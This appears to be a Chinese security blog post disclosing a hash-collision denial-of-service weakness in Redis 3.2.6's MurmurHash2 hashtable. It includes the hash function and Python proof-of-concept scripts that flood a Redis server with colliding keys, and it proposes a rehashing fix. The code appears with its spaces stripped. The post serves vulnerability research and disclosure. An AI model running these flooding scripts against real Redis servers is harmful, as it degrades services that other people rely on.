MurmurHash2 哈希算法碰撞引起的Redis DDos 攻击漏洞
- 在MartinBosslet2012年的这篇文章中，作者提到MurmurHash2算法被发现可以稳定构造碰撞函数，该哈希函数及其变形被CRuby,JRuby,Rubinius,Redis等开源组件使用。
- 本文是基于MartinBosslet的发现继续挖掘的结果，在此对MartinBosslet表示感谢。
- 原文中作者的碰撞函数是基于Ruby完成的，这里将发布该碰撞函数的Python版本。
- 在MartinBosslet的文章中对碰撞函数的构造原理未做足够透彻的解释，我将在稍后一段时间将分析构造原理的部分补充。
- Redis使用MurmurHash2算法作为数据结构Hashtable的哈希算法。
- 当Hashtable出现碰撞后，Redis选择将发生碰撞的项用链表相连，最新的项插在链表首。
- Redis将Key和对应的Value以键值对的形式储存在一个Hashtable中。
- Redis并未将用户传入的Key进行任何编码就直接使用。
- 在2012年MurmurHash2算法被发现可以稳定构造碰撞函数。
- 当将大量使用在Murmurhash2算法下产生相互碰撞的字符串作为Key的键值对插入Redis后，在访问这些键值对时Hashtable的行为将退化为链表。
测试平台：i3-3210，8GRam,Redis3.2.6，位于虚拟机中（2coresCPU，2GRam）
Redis3.2.6中使用的Murmurhash2函数：
unsignedintmmhash_32(constvoid*key,intlen){
/*'m'and'r'aremixingconstantsgeneratedoffline.
They'renotreally'magic',theyjusthappentoworkwell.*/
constuint32_tm=0x5bd1e995;
constintr=24;
/*Initializethehashtoa'random'value*/
uint32_th=5381^len;
/*Mix4bytesatatimeintothehash*/
constunsignedchar*data=(constunsignedchar*)key;
while(len>=4){
uint32_tk=*(uint32_t*)data;
k*=m;
k^=k>>r;
k*=m;
h*=m;
h^=k;
data+=4;
len-=4;
}
/*Handlethelastfewbytesoftheinputarray*/
switch(len){
case3:h^=data[2]<<16;
case2:h^=data[1]<<8;
case1:h^=data[0];h*=m;
};
/*Doafewfinalmixesofthehashtoensurethelastfew
*bytesarewell-incorporated.*/
h^=h>>13;
h*=m;
h^=h>>15;
return(unsignedint)h;
}
poc_collision.py,用于验证碰撞函数（其中mmhash将Redis3.2.6的dictGenHashFunction封装以供Python调用，基于mmhash 魔改而来）：
#-*-coding:utf-8-*-
importmmhash
frommurmurhash2_collisionimportcollision
frombinasciiimportcrc32
c_l=list(collision(5))
hashs=(mmhash.get_hash_32(c)forcinc_l)
crc32ed_collisions=(crc32(c)forcinc_l)
print"crc32edcollision"+"\t"+"MurmurHash2edcollision"
forpairinzip(crc32ed_collisions,hashs):
print"{0}\t{1}".format(*pair)
输出结果：可见确实发生碰撞。
poc_redis.py，用以对比Redis3.2.6对同等数量恶意与非恶意数据的响应：
#-*-coding:utf-8-*-
importredis
importos
importtime
frommurmurhash2_collisionimportcollision
BLOCK=17
connection=redis.Redis(host="192.168.107.102",password="123456")
func_set=connection.set
connection.flushall()
print"Insert2**{0}normalkey-valuepairs.".format(BLOCK)
start=time.time()
first_key=os.urandom(8*BLOCK)
func_set(name=first_key,value="")
foriinxrange(0,2**BLOCK-1):
func_set(os.urandom(8*BLOCK),value="")
end=time.time()
print"Insertioncomplete.Ittakes{1}seconds.".format(BLOCK,end-start)
print"Nowgetthefirstinsertedkey."
start=time.time()
connection.get(first_key)
end=time.time()
print"Ittakes{0}seconds.".format(end-start)
print"*"*32
print"Nowflushallthedata."
connection.flushall()
print"Nowinsert2**{0}key-valuepairswithcollisionalstringsaskeys.".format(BLOCK)
c=list(collision(BLOCK))
first_key=c[0]
func_set(name=first_key,value="")
start=time.time()
forckinc:
func_set(name=ck,value="")
end=time.time()
print"Insertioncomplete.Ittakes{1}seconds.".format(BLOCK,end-start)
print"Nowgetthefirstinsertedkey."
start=time.time()
connection.get(first_key)
end=time.time()
print"Ittakes{0}seconds.".format(end-start)
插入普通随机数据时Redis服务器负载与插入恶意数据时服务器负载对比：
输出结果：可见在输入大量恶意数据后Redis的响应速度有了明显下降（已排除生成碰撞字符串的时间）。
Redishashtable目前处理碰撞的方法是直接将发生碰撞的项用链表相连。建议碰撞发生时使用另一个不同的哈希函数进行rehash（比如time33），若与现有项再次发生碰撞，再使用链表将项相连。在我的认知范围内（也许不完全正确），针对两个不同的哈希算法稳定构造碰撞是困难的。
- 未测试在更高并发下Redis的响应。
- 对碰撞函数的构造原理进行深入分析。
- 研究其他使用MurmurHash2算法的软件是否存在同样的漏洞。
- 现在我还无法准确判断判断该漏洞的威胁程度，一方面是受限于手上没有资源验证Redis在更高并发下的响应，另一方面该漏洞的触发必须满足客户端的输入要作为Key并且原封不动地插入Redis。
- 这个漏洞的发现源于我阅读源代码是对MurmurHash2算法的搜索，在维基百科的参考链接中提到了MartinBosslet的文章，同时文章明确指出Redis在使用该算法。是什么原因使这个（潜在的）DDos漏洞存在这么多年？
原文地址：由MurmurHash2算法碰撞引起的RedisDDos攻击漏洞